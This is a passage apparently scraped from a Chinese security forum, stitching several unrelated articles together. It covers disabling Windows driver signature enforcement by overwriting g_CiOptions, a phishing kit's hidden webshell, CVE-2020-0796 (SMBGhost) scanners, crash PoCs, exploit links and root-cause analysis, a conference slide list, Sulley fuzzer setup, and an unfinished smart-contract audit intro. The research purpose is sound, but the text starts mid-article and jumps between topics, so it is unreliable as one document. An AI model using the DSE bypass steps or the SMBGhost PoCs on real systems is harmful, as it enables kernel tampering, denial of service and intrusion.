第一步：将CI.dll加载到内存空间。
第二步：获得原本加载的CI.dll的基址
NtQuerySystemInformation的第一个参数为11，即可遍历系统模块信息找到CI.dll的基址。
第三步: 反汇编机器指令
介绍一个工具HDE64(<https://github.com/Cerbersec/HDE64)，可以反汇编机器指令>.
先看一下，对windows10(18363) CI.dll CiInitialize反汇编结果。
我们要进入的是CipInitialize函数，所以就要注意call(0xE8)，因为调用了两次call，所以有用的是第二次调用call。
而在windows10(19044)中，是第三次调用call(0xE8),所以19044和18363代码不同。
而在CipInitialize函数里面，都是一样的流程，都是获取mov cs:g_CiOptions, ecx。
这样便获取到了控制驱动校验变量的地址，后面就直接使用上面提到的任意地址写入漏洞，对变量进行覆盖就可以了。(0代表禁用)
注意:因为 DSE 受 PatchGuard 保护，所以覆盖后将驱动加载进去要尽快还原回来，以免出现蓝屏。
## 验证截图 | 社区文章 |
# 操纵钓鱼诈骗“庄家”出现，利用木马“黑吃黑”反杀
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
随着二手交易市场的兴起，越来越多的人通过二手平台转卖闲置物品，而这也让黑灰产人员嗅到“商机”。一方面利用仿冒的二手交易平台钓鱼网站以低价商品吸引“鱼儿”上钩，一方面贩卖含后门的钓鱼网站源码，套取他人“诈骗“果实。
近期收录到一款仿冒二手电商平台的钓鱼网站源码进行诈骗的案件，复现过程发现了钓鱼网站的原理（盗取个人身份信息的同时骗取资金），同时还发现其源码存在“黑吃黑“的现象。
## 诈骗流程还原
①通过钓鱼网站管理后台的“商品采集“功能，抓取指定的电商平台商品信息，生成钓鱼网站商品页面。
②将商品的钓鱼链接发给受害人，用户访问后会跳转至假冒的二手平台账号登录页面。
③点击“登录“后，跳转至微信登录界面，登录微信后跳转至订单支付页面。
## 钓鱼网站后台的管理功能
通过对钓鱼网站的管理后台功能分析发现，生成仿冒商品的钓鱼页面非常简单，只需输入需采集的商品链接，抓取指定链接内的商品内容进行配置。更严重的是，
**后台有收集记录手机用户在钓鱼网站填写的收货人等信息。**
## 网站源码藏“暗箭”，植入木马“黑吃黑”
在对网站源码分析的过程中发现，该钓鱼网站存在webshell，可以看出 **源码供应商存在“黑吃黑“的行为。**
webshell是以asp、php、jsp等网页文件形式存在的一种代码执行环境。黑客在入侵一个网站后，通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起。然后就可以使用浏览器来访问asp或者php后门，得到一个命令执行环境，以达到控制网站服务器的目的。
可以简单理解为：
入侵者通过入侵的方式，将大马（木马）写入到网站内，木马可以理解为网站的另一个隐藏的管理后台，此时入侵者访问该木马文件的网址，登录后就可实现对网站的基础控制，如：查看服务器文件列表、文件、服务器版本的功能等。进一步，通过提权实现对整个电脑的控制权。
## 木马文件的后台功能
通过该大马文件的源码，发现其登录密码，登录页面后看到了其全貌的内容。其主要包含 **本地硬盘、信息操作、提权工具、批量操作** 四个板块。
### l本地硬盘
查看服务器C、D等硬盘的文件列表、文件名
### l信息操作
上传文件至服务器中、查看服务器版本信息
### l提权工具
部分Webshell网马仅有查看服务器文件列表、文件、服务器版本的功能，
**想要获得服务器的控制权限需要进行提升权限的操作。获取服务器的控制权后，服务器就变成了“肉鸡”，可以用来进行刷流量、挖矿等黑灰产行为。**
### l批量操作
指的是批量挂马清马、批量替换内容等操作。即在网页内批次上传网马(利用漏洞制作的网页木马)，当受访者访问含有网马文件的网站页面时。若电脑存在对应的网马漏洞或未安装杀毒软件，木马文件会在电脑中执行。
目前，发现此类源码在网络仍有出售，同时随着免签支付、四方支付的兴起，此类诈骗源码还提供了支付功能，又进一步降低此类诈骗的进入门槛。 | 社区文章 |
# 0x00 概述
20200310，microsoft透露了一个smb v3协议漏洞。
20200312，microsoft出补丁。
漏洞命名：smbghost/deepblue......
Microsoft Server Message Block
3.1.1（SMBv3）协议处理某些请求的方式中存在远程执行代码漏洞，可以在目标smb服务器或客户端上执行代码。
为了利用针对服务器的漏洞，未经身份验证的攻击者可以将特制数据包发送到目标SMBv3服务器；若要利用针对客户端的漏洞，未经身份验证的攻击者将需要配置恶意的SMBv3服务器，并诱使用户连接到该服务器。
# 0x01 影响范围
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
只影响 SMB v3.1.1，1903和1909
# 0x02 漏洞检测
//至发文（20200322）暂未发现公开EXP。
环境win10x64-1903专业版，关闭防火墙，关闭自动更新！
## python版
<https://github.com/ollypwn/SMBGhost>
> It checks for SMB dialect 3.1.1 and compression capability through a
> negotiate request.
> \---README.md
socket发送数据包
pkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
返回判断
if res[68:70] != b"\x11\x03" or res[70:72] != b"\x02\x00":
print(f"{ip} Not vulnerable.")
else:
print(f"{ip} Vulnerable")
然而打上补丁修补后：
所以打上补丁后该脚本也会返回vulnerable导致误报。
## python版带数据结构输出
<https://github.com/ioncodes/SMBGhost>
此脚本判断是否已启用SMBv3.1.1和SMB压缩，同1）也会误报
pip3 install hexdump
同样也是判断这两个位置
version = struct.unpack("H", response[68:70])[0]
context = struct.unpack("H", response[70:72])[0]
if version != 0x0311:
print(f"SMB version {hex(version)} was found which is not vulnerable!")
elif context != 2:
print(f"Server answered with context {hex(context)} which indicates that the target may not have SMB compression enabled and is therefore not vulnerable!")
else:
print(f"SMB version {hex(version)} with context {hex(context)} was found which indicates SMBv3.1.1 is being used and SMB compression is enabled, therefore being vulnerable to CVE-2020-0796!")
//另外还有这个py检查smb版本和压缩，也可以试试
<https://github.com/ClarotyICS/CVE2020-0796/blob/master/python_script/smbv3_compress.py>
## exe版本（奇安信）
<http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip>
都准确！
## powershell版本
<https://github.com/T13nn3s/CVE-2020-0796>
没打补丁：
打补丁后：
判断版本和补丁，简单直接，不会误报。
if ($WindowsVersion -eq 1903) {
Write-Host "[*] CVE-2020-0976 is applicable to your Windows Version."
}
Elseif ($WindowsVersion -eq 1909) {
Write-Host "[*] CVE-2020-0976 is applicable to your Windows Version."
}
Else {
Write-Host "[+] CVE-2020-0976 is not applicable to your Windows Version." -ForegroundColor Green
pause
return
}
......
function CheckIfUpdateIsInstalled {
Write-Host "[*] Check if KB4551762 is installed..."
$fix = Get-HotFix -Id KB4551762 -ErrorAction SilentlyContinue
if ($fix) {
Write-Host "[+] *** Windows Update $($fix.HotFixID) is installed on $($fix.InstalledOn). You're not vulnerable ***"
Write-Host "[+] No workaround needed, you can still customize the SMBv3 compression if you like."
return
}
Else {
Write-Host "[-] Windows Update $($kb) is not installed."
}
## perl版本
<https://github.com/wneessen/SMBCompScan>
也是用socket发包，返回判断两个位置
if(($byteArray[68] == 17 && $byteArray[70] == 2) || ($byteArray[70] == 2 && $byteArray[72] == 85)) {
say 'vulnerable';
}
else {
say 'not vulnerable';
}
## nmap版本
调用nmap的smb协议扫描脚本检查是否有smbv3.11
nmap -p445 --script smb-protocols -Pn -n $1 | grep -P '\d+\.\d+\.\d+\.\d+|^\|.\s+3.11' | tr '\n' ' ' | replace 'Nmap scan report for' '@' | tr "@" "\n" | grep 3.11 | tr '|' ' ' | tr '_' ' ' | grep -oP '\d+\.\d+\.\d+\.\d+'
if [[ $? != 0 ]]; then
echo "There's no SMB v3.11"
fi
还有一些nse脚本：
<https://github.com/ClarotyICS/CVE2020-0796/tree/master/nse_script>
<https://github.com/cyberstruggle/DeltaGroup/blob/master/CVE-2020-0796/CVE-2020-0796.nse>
<https://github.com/pr4jwal/CVE-2020-0796/blob/master/cve-2020-0796.nse>
## 规则版本
<https://github.com/ClarotyICS/CVE2020-0796/tree/master/snort_rules>
<https://github.com/cve-2020-0796/cve-2020-0796/blob/master/snort_rule_smbv3.rules>
## 蓝屏POC
1）
<https://github.com/eerykitty/CVE-2020-0796-PoC>
def _compress(self, b_data, session):
header = SMB2CompressionTransformHeader()
header['original_size'] = len(b_data)
header['offset'] = 4294967295
header['data'] = smbprotocol.lznt1.compress(b_data)
python3 CVE-2020-0796.py 19.1.2.56
2）
<https://github.com/maxpl0it/Unauthenticated-CVE-2020-0796-PoC/blob/master/crash.py>
class Smb2CompressedTransformHeader:
def __init__(self, data):
self.data = data
self.protocol_id = "\xfcSMB"
self.original_decompressed_size = struct.pack('<i', len(self.data)).decode('latin1')
self.compression_algorithm = "\x01\x00"
self.flags = "\x00"*2
self.offset = "\xff\xff\xff\xff" # Exploit the vulnerability
python3 crash.py 19.1.2.56
3）
<https://gist.github.com/asolino/45095268f0893bcf08bca3ae68a755b2>
def attack(self):
compressedHeader = SMB2_COMPRESSION_TRANSFORM_HEADER ()
compressedHeader['ProtocolID'] = 0x424D53FC
compressedHeader['OriginalCompressedSegmentSize'] = 1024
compressedHeader['CompressionAlgorithm'] = 1
compressedHeader['Flags'] = 0xffff
compressedHeader['Offset_Length'] = 0xffffffff
git clone <https://github.com/SecureAuthCorp/impacket.git>
cd impacket
sudo python setup.py install
# 0x03 漏洞利用
## LPE
20200330，网上出现本地提权EXP：
<https://github.com/danigargu/CVE-2020-0796/>
利用smbghost漏洞将shellcode注入winlogon.exe。
//已编译版本：
//<https://github.com/f1tz/CVE-2020-0796-LPE-EXP>
打补丁前：
打补丁后：
# 0x04 修复方案
1】设置-更新和安全-Windows更新-检查更新
或直接下载对应补丁进行安装（KB4551762）
<https://www.catalog.update.microsoft.com/Search.aspx?q=KB4551762>
2】regedit
HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters建立一个名为DisableCompression的DWORD，值为1，禁止SMB的压缩功能。
或powershell
Set-ItemProperty -Path
"HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters"
DisableCompression -Type DWORD -Value 1 -Force
3】封445端口
# 0x05 简单分析
smb服务端漏洞文件srv2.sys（C:\Windows\System32\drivers\srv2.sys）
smb客户端漏洞文件mrxsmb.sys
都在SmbCompressDecompress中调用了相同的代码。
分析srv2.sys：
（ida加载srv2.sys不显示函数名是因为没有符号表，要科学上网再在ida提示的时候点yes下载，或者利用windbg\symchk.exe下载）
微软在Windows 10 v1903/Windows Server v1903的SMB
3.1.1协议中开启了对数据压缩传输的支持,本漏洞成因是SMB客户端及服务端在准备解压数据（身份认证请求）时,没有对COMPRESSION_TRANSFORM_HEADE结构进行安全校验,导致后续分配buffer时整形溢出。
typedef struct _COMPRESSION_TRANSFORM_HEADER
{
ULONG ProtocolId;
ULONG OriginalCompressedSegmentSize;
USHORT CompressionAlgorithm;
USHORT Flags;
ULONG Length;
}COMPRESSION_TRANSFORM_HEADER, *PCOMPRESSION_TRANSFORM_HEADER;
在srv2.sys中找和compress相关的函数，如下：
Smb2GetHonorCompressionAlgOrder
Srv2DecompressMessageAsync
Srv2DecompressData
Smb2ValidateCompressionCapabilities
Smb2SelectCompressionAlgorithm
smb会调用Srv2!Srv2ReceiveHandler函数接收smb数据包，如果SMB Header中的ProtocolId是0xFC, 'S',
'M', 'B'，说明数据是压缩的，则smb会调用Srv2DecompressMessageAsync函数进行解压缩。
Srv2!Srv2DecompressMessageAsync会调用Srv2!Srv2DecompressData函数，申请buffer，解压缩并copy到buffer
附上[Lucas Georges](https://www.synacktiv.com/author/lucas-georges.html "lucas-georges")美化后的代码：
> For that, I used three sources of public information:
> DevDays Redmond 2019, where they present an overview of "compressed" SMB
> packets:
> ><https://interopevents.blob.core.windows.net/uploads/PDFs/2019/Redmond/Talpey-> SMB3doc-19H1-DevDays%20Redmond%202019.pdf> ([4])
> [MS-SMBv2] the open specification documenting the SMB v2/3 protocol:
> <https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-> smb2/5606ad47-5ee0-437a-817e-70c366052962> ([5])
> Public patches from Microsoft engineers in the open-source CIFS project,
> e.g.: <https://patchwork.kernel.org/patch/11014449/>
> \---Lucas Georges
__int64 __fastcall Srv2DecompressData(__int64 _smb_packet)
{
__int64 smb_packet; // rdi
__int64 _header; // rax
SMB_V2_COMPRESSION_TRANSFORM_HEADER v3; // xmm0
AAA smb_header_compress; // xmm0_8
unsigned int CompressionAlgorithm; // ebp
__int64 __alloc_buffer; // rax
__int64 __allocated_buffer; // rbx
int PayloadSize; // eax
SMB_V2_COMPRESSION_TRANSFORM_HEADER Header; // [rsp+30h] [rbp-28h]
int UncompressedSize; // [rsp+60h] [rbp+8h]
UncompressedSize = 0;
smb_packet = _smb_packet;
_header = *(_QWORD *)(_smb_packet + 0xF0);
// Basic size checks
if ( *(_DWORD *)(_header + 0x24) < sizeof(SMB_V2_COMPRESSION_TRANSFORM_HEADER) )
return 0xC000090Bi64;
v3 = *(SMB_V2_COMPRESSION_TRANSFORM_HEADER *)*(_QWORD *)(_header + 0x18);
Header = v3;
// Check the compression algo used is the same one as the one negotiated during NEGOTIATE_PACKET sequence
*(__m128i *)&smb_header_compress.Algo = _mm_srli_si128(
(__m128i)v3,
offsetof(SMB_V2_COMPRESSION_TRANSFORM_HEADER, CompressionAlgorithm));
CompressionAlgorithm = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(_smb_packet + 80) + 496i64) + 140i64);
if ( CompressionAlgorithm != (unsigned __int16)smb_header_compress.Algo )
return 0xC00000BBi64;
// Nani ?? oO
__alloc_buffer = SrvNetAllocateBuffer(
(unsigned int)(
Header.OriginalCompressedSegmentSize + smb_header_compress.OffsetOrLength),
0i64
);
__allocated_buffer = __alloc_buffer;
if ( !__alloc_buffer )
return 0xC000009Ai64;
// Decompress data in newly allocated buffer and check the uncompressed size is equal to the one filled out in Header.OriginalCompressedSegmentSize
if ( (int)SmbCompressionDecompress(
CompressionAlgorithm,
(BYTE *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + (unsigned int)Header.OffsetOrLength
+ 0x10i64),
*(_DWORD *)(*(_QWORD *)(smb_packet + 240) + 36i64) - Header.OffsetOrLength - 0x10,
(BYTE *)((unsigned int)Header.OffsetOrLength + *(_QWORD *)(__alloc_buffer + 0x18)),
Header.OriginalCompressedSegmentSize,
&UncompressedSize) < 0
|| (PayloadSize = UncompressedSize, UncompressedSize != Header.OriginalCompressedSegmentSize) )
{
SrvNetFreeBuffer(__allocated_buffer);
return 0xC000090Bi64;
}
// Copy optional payload
if ( Header.OffsetOrLength )
{
memmove(
*(void **)(__allocated_buffer + 0x18),
(const void *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + 0x10i64),
(unsigned int)Header.OffsetOrLength);
PayloadSize = UncompressedSize;
}
*(_DWORD *)(__allocated_buffer + 36) = Header.OffsetOrLength + PayloadSize;
Srv2ReplaceReceiveBuffer(smb_packet, __allocated_buffer);
return 0i64;
}
攻击者可以控制 OriginalCompressedSegmentSize和OffsetOrLength 这两个参数。
//图片来源：[[MS-SMB2]](https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-SMB2/%5bMS-SMB2%5d.pdf "\[MS-SMB2\]")
OriginalCompressedSegmentSize：压缩前的数据大小。
OffsetOrLength ：压缩数据的长度或者片偏移,主要取决于是否设置flags变量。
都为32位int型，并且Srv2!Srv2DecompressData用它们控制分配内存空间，漏洞点：
__alloc_buffer = SrvNetAllocateBuffer（
（unsigned int ）（Header.OriginalCompressedSegmentSize + smb_header_compress.OffsetOrLength），
0 i64
）;
没有检查相加的值，导致integer整数溢出，SrvNetAllocateBuffer分配了一个较小的alloc_buffer。
随后在Srv2!Srv2DecompressData函数调用SmbCompressionDecompress，最终调用nt!RtlDecompressBufferXpressLz进行数据解压。
附上360博客上分析的代码：
signed __int64 __fastcall RtlDecompressBufferXpressLz(_BYTE *a1, unsigned int a2, _BYTE *a3, unsigned int a4, __int64 a5, _DWORD *a6)
{
v9 = &a1[a2];
....
if ( &a1[v21] > v9 )
return 0xC0000242i64;
...
v33 = a1;
a1 += v21;
qmemcpy(v33, v23, v21);
}
//代码来源[blogs.360.cn/post/CVE-2020-0796.html](blogs.360.cn/post/CVE-2020-0796.html
"blogs.360.cn/post/CVE-2020-0796.html")
a1指向SrvNetAllocateBuffer分配的alloc_buffer，
>
> a2的值为OriginalCompressedSegmentSize，v21的值为从smb数据包中解析的解压缩数据的大小，该值可由攻击者控制，若该大小大于OriginalCompressedSegmentSize，则会返回0xC0000242错误，由于之前对长度没有检查，如果我们传入一个很大的OriginalCompressedSegmentSize触发整数溢出，同时v21就可以设置一个极大值，而依然可以通过对decompress
> size的判断，最终调用qmemcpy拷贝一个极大的size导致缓冲区溢出
> \---blogs.360.cn
补丁对比：
美化后代码：
unsigned int _v_allocation_size = 0;
if (!NT_SUCCESS(RtlUlongAdd(Header.OriginalCompressedSegmentSize, smb_header_compress.OffsetOrLength, &_v_allocation_size)))
{
SEND_SOME_ETW_EVENT_FOR_TELEMETRY_AND_CATCHING_BAD_GUYS(&wpp_guid);
goto ON_ERROR;
}
if (_v_allocation_size > another_smb_size_i_guess)
{
SEND_SOME_ETW_EVENT_FOR_TELEMETRY_AND_CATCHING_BAD_GUYS(&wpp_guid);
goto ON_ERROR;
}
__alloc_buffer = SrvNetAllocateBuffer(
_v_allocation_size,
0i64
);
if ( !__alloc_buffer )
return 0xC000009A;
if (!NT_SUCCESS(RtlULongSub(_v_allocation_size, smb_header_compress.OffsetOrLength, &_v_uncompressed_size)))
{
SEND_SOME_ETW_EVENT_FOR_TELEMETRY_AND_CATCHING_BAD_GUYS(&wpp_guid);
goto ON_ERROR;
}
if (!NT_SUCCESS(SmbCompressionDecompress(
AlgoId,
(BYTE *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + (unsigned int)Header.OffsetOrLength
+ 0x10i64),
_v_uncompressed_size,
Size.m128i_u32[3] + *(_QWORD *)(v10 + 24),
Header.OriginalCompressedSegmentSize,
&UncompressedSize)) < 0
|| (PayloadSize = UncompressedSize, UncompressedSize != Header.OriginalCompressedSegmentSize) )
//代码来源<https://www.synacktiv.com/posts/exploit/im-smbghost-daba-dee-daba-da.html>
使用RtlULongAdd对OriginalCompressedSegmentSize和Offset（Length）进行检查。
用RtULongSub在计算偏移量字段的同时计算压缩缓冲区的大小。
这两个函数是安全的，可在运行时检查整数上溢/下溢出。
# 0x06 结语
继ms17-010，cve-2019-0708后，又一个蠕虫级RCE漏洞，尽快打补丁吧！
//附件是srv2.sys和符号表文件
# 0x07 参考资料
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/adv200005>
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796>
[blogs.360.cn/post/CVE-2020-0796.html](blogs.360.cn/post/CVE-2020-0796.html
"blogs.360.cn/post/CVE-2020-0796.html")
<https://blog.riskivy.com/零基础探索smbv3远程代码执行漏洞poc/>
<https://www.synacktiv.com/posts/exploit/im-smbghost-daba-dee-daba-da.html>
<https://www.mcafee.com/blogs/other-blogs/mcafee-labs/smbghost-analysis-of-cve-2020-0796/>
<https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/microsoft-public-symbols> | 社区文章 |
本届先知白帽大会已经圆满结束
感谢大家过去一年对互联网安全作出的贡献。
希望大家在收获满满的同时，也能够在会后通过研读演讲者的分享碰撞出各种火花。
时间 | 演讲者 | 议题
---|---|---
9:30-10:00 | 猪猪侠 | [先知白帽大会-开场演讲_猪猪侠](https://xzfile.aliyuncs.com/upload/zcon/2018/1_%E5%85%88%E7%9F%A5%E7%99%BD%E5%B8%BD%E5%A4%A7%E4%BC%9A-%E5%BC%80%E5%9C%BA%E6%BC%94%E8%AE%B2_%E7%8C%AA%E7%8C%AA%E4%BE%A0.pdf)
10:00-10:30 | 菜丝 | [macOS
上的逻辑提权漏洞_菜丝.pdf](https://xzfile.aliyuncs.com/upload/zcon/2018/2_macOS%20%E4%B8%8A%E7%9A%84%E9%80%BB%E8%BE%91%E6%8F%90%E6%9D%83%E6%BC%8F%E6%B4%9E_%E8%8F%9C%E4%B8%9D.pdf
"macOS 上的逻辑提权漏洞_菜丝.pdf")
10:30-11:00 | redrain | [弑君者Kingslayer-供应链攻击前餐_redrain.pdf](https://xzfile.aliyuncs.com/upload/zcon/2018/3_%E5%BC%91%E5%90%9B%E8%80%85Kingslayer-%E4%BE%9B%E5%BA%94%E9%93%BE%E6%94%BB%E5%87%BB%E5%89%8D%E9%A4%90_redrain.pdf
"弑君者Kingslayer-供应链攻击前餐_redrain.pdf")
11:00-11:30 | jkgh006 |
[代码审计点线面实战_jkgh006.pdf](https://xzfile.aliyuncs.com/upload/zcon/2018/4_%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E7%82%B9%E7%BA%BF%E9%9D%A2%E5%AE%9E%E6%88%98_jkgh006.pdf
"代码审计点线面实战_jkgh006.pdf")
11:30-12:00 | KEVIN2600 |
[边信道攻击_Kevin2600.pdf](https://xzfile.aliyuncs.com/upload/zcon/2018/5_%E8%BE%B9%E4%BF%A1%E9%81%93%E6%94%BB%E5%87%BB_Kevin2600.pdf
"边信道攻击_Kevin2600.pdf")
13:30-14:00 | Orange Tsai |
[從一個脆弱點到整個攻擊鏈_Orange+Tsai.pdf](https://xzfile.aliyuncs.com/upload/zcon/2018/6_%E5%BE%9E%E4%B8%80%E5%80%8B%E8%84%86%E5%BC%B1%E9%BB%9E%E5%88%B0%E6%95%B4%E5%80%8B%E6%94%BB%E6%93%8A%E9%8F%88_Orange_Tsai.pdf)
14:00-14:30 | phithon |
[攻击GraphQL_phithon.pdf](https://xzfile.aliyuncs.com/upload/zcon/2018/7_%E6%94%BB%E5%87%BBGraphQL_phithon.pdf
"攻击GraphQL_phithon.pdf")
14:30-15:00 | 廖新喜 |
[Java反序列化实战_廖新喜.pdf](https://xzfile.aliyuncs.com/upload/zcon/2018/8_Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AE%9E%E6%88%98_%E5%BB%96%E6%96%B0%E5%96%9C.pdf
"Java反序列化实战_廖新喜.pdf")
15:00-15:30 | 隐形人真忙 |
[智能合约消息调用攻防_隐形人很忙.pdf](https://xzfile.aliyuncs.com/upload/zcon/2018/9_%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E6%B6%88%E6%81%AF%E8%B0%83%E7%94%A8%E6%94%BB%E9%98%B2_%E9%9A%90%E5%BD%A2%E4%BA%BA%E5%BE%88%E5%BF%99.pdf
"智能合约消息调用攻防_隐形人很忙.pdf")
15:30-16:00 | cdxy |
[从数据视角探索安全威胁_cdxy.pdf](https://xzfile.aliyuncs.com/upload/zcon/2018/10_%E4%BB%8E%E6%95%B0%E6%8D%AE%E8%A7%86%E8%A7%92%E6%8E%A2%E7%B4%A2%E5%AE%89%E5%85%A8%E5%A8%81%E8%83%81_cdxy.pdf
"从数据视角探索安全威胁_cdxy.pdf")
16:00-16:30 | 猪猪侠 |
[WEB2.0启发式爬虫实战_猪猪侠.pdf](https://xzfile.aliyuncs.com/upload/zcon/2018/11_WEB2.0%E5%90%AF%E5%8F%91%E5%BC%8F%E7%88%AC%E8%99%AB%E5%AE%9E%E6%88%98_%E7%8C%AA%E7%8C%AA%E4%BE%A0.pdf
"WEB2.0启发式爬虫实战_猪猪侠.pdf")
16:30-17:00 | 白小龙&蒸米 |
[如何利用Ryuk分析和挖掘macOS&iOS内核驱动漏洞_白小龙&蒸米.pdf](https://xzfile.aliyuncs.com/upload/zcon/2018/12_%E5%A6%82%E4%BD%95%E5%88%A9%E7%94%A8Ryuk%E5%88%86%E6%9E%90%E5%92%8C%E6%8C%96%E6%8E%98macOS%26iOS%E5%86%85%E6%A0%B8%E9%A9%B1%E5%8A%A8%E6%BC%8F%E6%B4%9E_%E7%99%BD%E5%B0%8F%E9%BE%99%26%E8%92%B8%E7%B1%B3.pdf
"如何利用Ryuk分析和挖掘macOS&iOS内核驱动漏洞_白小龙&蒸米.pdf")
## 打包下载
[2018先知白帽大会-议题压缩包.zip](https://xianzhi-forum.oss-cn-shanghai.aliyuncs.com/upload/zcon/2018/2018%E5%85%88%E7%9F%A5%E7%99%BD%E5%B8%BD%E5%A4%A7%E4%BC%9A-%E8%AE%AE%E9%A2%98%E5%8E%8B%E7%BC%A9%E5%8C%85.zip
"2018先知白帽大会-议题压缩包.zip")
## 相关信息
2018先知白帽大会 | 议题解读
<https://mp.weixin.qq.com/s/gpNx20C1UAhm7BshRt3WKA>
先知白帽大会2018 | 精彩回顾
<https://mp.weixin.qq.com/s/i9wkHx5z064UEozo2ZNt1g> | 社区文章 |
# 前言
这部分是Sulley fuzzer的搭建，踩了一些坑便记录了下来。
# 下载和安装MinGW
下载链接：<https://sourceforge.net/projects/mingw/files/>
MinGW InstallatIon Manager内勾选上：
* mingw3 2-base - Base Package
* mingw32-gcc-g++ - C++ Compiler
* mingw32-gcc-objc - Objective-C Compiler
安装完成后设置环境变量：
# 安装pydbg
下载链接： <https://github.com/Fitblip/pydbg.git>
下载下来后解压至相应文件夹：
cmd 输入：
python setup.py install
安装好后，cmd内输入：
python
import pydbg
出现错误。
# 下载libdasm并安装
下载链接：<https://github.com/jtpereyda/libdasm.git>
下载下来后解压至相应文件夹
cmd 输入：
python setup.py build_ext -c mingw32
python setup.py install
网上说这里是很容易发生错误的地方，但是我这里并没有报错，顺利安装。
再回到python控制台，发现：
import pydbg
执行成功。
# 下载Sulley并验证
下载链接：<https://github.com/OpenRCE/sulley.git>
下载下来后解压至相应文件夹
# 下载Pcapy和WinPcap Dev Kit
Pcpy下载链接： <https://github.com/CoreSecurity/pcapy.git>
WinPcap Dev Kit 下载链接：<http://www.winpcap.org/install/bin/WpdPack_4_1_2.zip>
安装后将WinPcap Dev Kit里的Include、Lib内容放在Python目录下对应的文件夹内
之后开始安装Pcpy，这里也就是疯狂报错的开始：
我试了几种方法：
python setup.py build_ext -c mingw32 -I "C:\sulley\WpdPack\Include" -L "C:\sulley\WpdPack\Lib"
不行，各种错误，google一下说用pip的方式安装可以解决：
pip install --global-option=build_ext --global-option --compiler=mingw32 --global-option "-LD:C:\sulley\WpdPack\Include" --global-option "-ID:C:\sulley\WpdPack\Lib" pcapy
不行，google一下还有说根据报错内容把修改一下cmath：
改为：
不行。
后面我又进行了一大堆操作，还是不行。
最后没办法直接：
python setup.py install
还是报错，不过根据报错的原因下载：VCForPython27.msi安装完毕后，输入上述命令成功安装。。。
进入python控制台，输入：
import pcapy
报错。
# 下载和安装WinPcap
下载链接：<https://www.winpcap.org/install/>
实际上是安装一些缺少的dll。然后这个安装过程很多dll都会写入错误，将这些错误忽略，在网上找到相应的dll，放入C：\winows\system32中，即可。
进入python控制台，发现已经可以正确导入pcapy库。
# 下载和安装Impacket
下载链接： <https://github.com/CoreSecurity/impacket.git>
下载下来后解压至相应文件夹：
python setup.py install
这里有可能会报错python的版本过低，输入：
python -m pip install -U pip setuptools
可解决。
无误后，开始一系列下载和安装，然而下载过程又会因为一些原因下载终止，在下载错误的地方找到相应所需下载的文件名，手动下载安装即可。
# 最后测试Sulley
结果： | 社区文章 |
**作者：LoRexxar'@知道创宇404区块链安全研究团队
时间：2018年9月21日**
系列文章：
* [《以太坊合约审计 CheckList 之“以太坊智能合约规范问题”影响分析报告》](https://paper.seebug.org/663/ "《以太坊合约审计 CheckList 之“以太坊智能合约规范问题”影响分析报告》")
* [《以太坊合约审计 CheckList 之“以太坊智能合约设计缺陷问题”影响分析报告》](https://paper.seebug.org/679/ "《以太坊合约审计 CheckList 之“以太坊智能合约设计缺陷问题”影响分析报告》")
* [《以太坊合约审计 CheckList 之“以太坊智能合约编码安全问题”影响分析报告》](https://paper.seebug.org/696/ "《以太坊合约审计 CheckList 之“以太坊智能合约编码安全问题”影响分析报告》")
### 一、简介
在知道创宇404区块链安全研究团队整理输出的《知道创宇以太坊合约审计CheckList》中，把“地址初始化问题”、“判断函数问题”、“余额判断问题”、“转账函数问题”、“代码外部调用设计问题”、“错误处理”、“弱随机数问题”等问题统一归类为“以太坊智能合约编码设计问题”。
“昊天塔(HaoTian)”是知道创宇404区块链安全研究团队独立开发的用于监控、扫描、分析、审计区块链智能合约安全自动化平台。我们利用该平台针对上述提到的《知道创宇以太坊合约审计CheckList》中“以太坊智能合约编码设计”类问题在全网公开的智能合约代码做了扫描分析。详见下文：
### 二、漏洞详情
以太坊智能合约是以太坊概念中非常重要的一个概念，以太坊实现了基于solidity语言的以太坊虚拟机（Ethereum Virtual
Machine），它允许用户在链上部署智能合约代码，通过智能合约可以完成人们想要的合约。
